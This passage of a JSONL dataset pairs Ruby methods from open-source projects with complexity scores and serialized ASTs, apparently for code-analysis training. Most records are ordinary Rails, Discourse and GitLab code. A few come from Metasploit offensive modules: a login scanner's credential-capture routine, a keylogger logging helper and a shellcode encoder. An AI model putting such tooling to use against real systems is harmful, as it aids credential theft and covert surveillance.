",\"children\":[\"project\"]}]}]}]}]}]}","id":"72340717-3bce-41e1-97e9-ffe1cc9f7d12"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/opnsense_login.rb","start_line":40,"raw_source":"def process_credential(credential_data)\n    credential_combo = \"#{credential_data[:username]}:#{credential_data[:private_data]}\"\n    case credential_data[:status]\n    when Metasploit::Model::Login::Status::SUCCESSFUL\n      print_good \"#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}\"\n      credential_data[:core] = create_credential(credential_data)\n      create_credential_login(credential_data)\n      return { status: :success, credential: credential_data }\n    else\n      if credential_data[:proof]\n        error_msg = \"#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]} : #{credential_data[:proof]})\"\n      else\n        error_msg = \"#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})\"\n      end\n      vprint_error error_msg\n      invalidate_login(credential_data)\n      return { status: :fail, credential: credential_data }\n    end\n  end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_credential\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential_combo\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_data\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"str\",\"children\":[\" - Login Successful: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_combo\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential\"]},{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error_msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"str\",\"children\":[\" - LOGIN FAILED: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_combo\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error_msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"str\",\"children\":[\" - LOGIN FAILED: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_combo\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"lvar\",\"children\":[\"error_msg\"]}]},{\"type\":\"send\",\"children\":[null,\"invalidate_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"fail\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential\"]},{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]}]}]}]}]}]}","id":"46446183-932a-42ee-ba69-e776e8772f98"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/rescuable.rb","start_line":53,"raw_source":"def rescue_from(*klasses, with: nil, &block)\n        unless with\n          if block_given?\n            with = block\n          else\n            raise ArgumentError, \"Need a handler. Pass the with: keyword argument or provide a block.\"\n          end\n        end\n\n        klasses.each do |klass|\n          key = if klass.is_a?(Module) && klass.respond_to?(:===)\n            klass.name\n          elsif klass.is_a?(String)\n            klass\n          else\n            raise ArgumentError, \"#{klass.inspect} must be an Exception class or a String referencing an Exception class\"\n          end\n\n          # Put the new handler at the end because the list is read in reverse.\n          self.rescue_handlers += [[key, with]]\n        end\n      end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"rescue_from\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"klasses\"]},{\"type\":\"kwoptarg\",\"children\":[\"with\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"lvasgn\",\"children\":[\"with\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Need a handler. Pass the with: keyword argument or provide a block.\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klasses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Module\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"===\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" must be an Exception class or a String referencing an Exception class\"]}]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rescue_handlers\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"with\"]}]}]}]}]}]}]}]}","id":"9c093c60-0334-4df2-97cf-cfe8ec43e3a5"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order/store_credit.rb","start_line":4,"raw_source":"def add_store_credit_payments(amount = nil)\n        Spree::Dependencies.checkout_add_store_credit_service.constantize.call(order: self, amount: amount)\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_store_credit_payments\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"amount\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"checkout_add_store_credit_service\"]},\"constantize\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]}]}","id":"7b7cda40-6d57-44b3-a7fe-308f05bfbca0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/cycle_analytics_helpers.rb","start_line":103,"raw_source":"def create_value_stream_aggregation(namespace)\n    aggregation = Analytics::CycleAnalytics::Aggregation.safe_create_for_namespace(namespace)\n    Analytics::CycleAnalytics::NamespaceAggregatorService.new(aggregation: aggregation).execute\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_value_stream_aggregation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aggregation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Analytics\"]},\"CycleAnalytics\"]},\"Aggregation\"]},\"safe_create_for_namespace\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Analytics\"]},\"CycleAnalytics\"]},\"NamespaceAggregatorService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aggregation\"]},{\"type\":\"lvar\",\"children\":[\"aggregation\"]}]}]}]},\"execute\"]}]}]}","id":"2a8544fe-9e7e-436b-9e9b-b23a23338118"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/capture/keylog_recorder.rb","start_line":124,"raw_source":"def time_stamp(event)\n    file_local_write(@logfile, \"\\nKeylog Recorder #{event} at #{Time.now}\\n\\n\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"time_stamp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"file_local_write\",{\"type\":\"ivar\",\"children\":[\"@logfile\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nKeylog Recorder \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"str\",\"children\":[\" at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]}]}","id":"62af007e-e080-4789-b145-f2d2cfdf616e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb","start_line":191,"raw_source":"def quoted_time(value) # :nodoc:\n        value = value.change(year: 2000, month: 1, day: 1)\n        quoted_date(value).sub(/\\A\\d\\d\\d\\d-\\d\\d-\\d\\d /, \"\")\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"quoted_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[2000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoted_date\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\d\\\\d\\\\d\\\\d-\\\\d\\\\d-\\\\d\\\\d \"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"1ded355d-36e6-4f6b-9e5a-d30eec70d045"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/bind_parameter_test.rb","start_line":37,"raw_source":"def assert_quoted_as(expected, value, match: 0)\n            relation = Post.where(\"title = ?\", value)\n            assert_equal(\n              %{SELECT \"posts\".* FROM \"posts\" WHERE (title = #{expected})},\n              relation.to_sql,\n            )\n            if match == 0\n              assert_empty relation.to_a\n            else\n              assert_equal match, relation.count\n            end\n          end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_quoted_as\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"match\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"title = ?\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT \\\"posts\\\".* FROM \\\"posts\\\" WHERE (title = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_sql\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"count\"]}]}]}]}]}","id":"ffda479e-3069-465a-91c9-3bb68c113fd4"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/backups_controller.rb","start_line":278,"raw_source":"def validate_before_create_multipart(file_name:, file_size:, upload_type:)\n    unless valid_extension?(file_name)\n      raise ExternalUploadHelpers::ExternalUploadValidationError.new(\n              I18n.t(\"backup.backup_file_should_be_tar_gz\"),\n            )\n    end\n    unless valid_filename?(file_name)\n      raise ExternalUploadHelpers::ExternalUploadValidationError.new(\n              I18n.t(\"backup.invalid_filename\"),\n            )\n    end\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_before_create_multipart\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"file_name\"]},{\"type\":\"kwarg\",\"children\":[\"file_size\"]},{\"type\":\"kwarg\",\"children\":[\"upload_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_extension?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExternalUploadHelpers\"]},\"ExternalUploadValidationError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"backup.backup_file_should_be_tar_gz\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_filename?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExternalUploadHelpers\"]},\"ExternalUploadValidationError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"backup.invalid_filename\"]}]}]}]}]}]}]}","id":"4f403ed2-580b-4c3b-9892-638fc63d7535"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service.rb","start_line":379,"raw_source":"def journal\n    model.is_a?(Journal) ? model : nil\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"journal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Journal\"]}]},{\"type\":\"send\",\"children\":[null,\"model\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"0dea64a9-8ab7-4a65-910f-c84b972588b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/x86/alpha_upper.rb","start_line":81,"raw_source":"def encode_block(state, block)\n    return Rex::Encoder::Alpha2::AlphaUpper.encode_byte(block.unpack('C')[0], state.badchars)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Encoder\"]},\"Alpha2\"]},\"AlphaUpper\"]},\"encode_byte\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]}]}]}]}","id":"6a804df9-1f08-4148-9d76-b58b47cbd13e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/session_controller.rb","start_line":502,"raw_source":"def second_factor_auth_show\n    nonce = params.require(:nonce)\n    challenge = nil\n    error_key = nil\n    user = nil\n    status_code = 200\n    begin\n      challenge =\n        SecondFactor::AuthManager.find_second_factor_challenge(\n          nonce: nonce,\n          server_session:,\n          target_user: current_user,\n        )\n    rescue SecondFactor::BadChallenge => exception\n      error_key = exception.error_translation_key\n      status_code = exception.status_code\n    end\n\n    json = {}\n    if challenge\n      user = User.find(challenge[:target_user_id])\n      json.merge!(\n        totp_enabled: user.totp_enabled?,\n        backup_enabled: user.backup_codes_enabled?,\n        allowed_methods: challenge[:allowed_methods],\n      )\n      if user.security_keys_enabled?\n        DiscourseWebauthn.stage_challenge(user, server_session)\n        json.merge!(DiscourseWebauthn.allowed_credentials(user, server_session))\n        json[:security_keys_enabled] = true\n      else\n        json[:security_keys_enabled] = false\n      end\n      json[:description] = challenge[:description] if challenge[:description]\n    else\n      json[:error] = I18n.t(error_key)\n    end\n\n    respond_to do |format|\n      format.html do\n        store_preloaded(\"2fa_challenge_data\", MultiJson.dump(json))\n        raise ApplicationController::RenderEmpty.new\n      end\n\n      format.json { render json: json, status: status_code }\n    end\n  end","complexity_score":62.85,"ast_json":"{\"type\":\"def\",\"children\":[\"second_factor_auth_show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"nonce\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"challenge\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"error_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"status_code\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"challenge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"AuthManager\"]},\"find_second_factor_challenge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nonce\"]},{\"type\":\"lvar\",\"children\":[\"nonce\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_session\"]},{\"type\":\"send\",\"children\":[null,\"server_session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"BadChallenge\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"error_translation_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"status_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"status_code\"]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"totp_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"totp_enabled?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"backup_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"backup_codes_enabled?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_methods\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allowed_methods\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"security_keys_enabled?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseWebauthn\"]},\"stage_challenge\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"server_session\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseWebauthn\"]},\"allowed_credentials\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"server_session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"security_keys_enabled\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"security_keys_enabled\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"lvar\",\"children\":[\"error_key\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_preloaded\",{\"type\":\"str\",\"children\":[\"2fa_challenge_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MultiJson\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"json\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"RenderEmpty\"]},\"new\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\"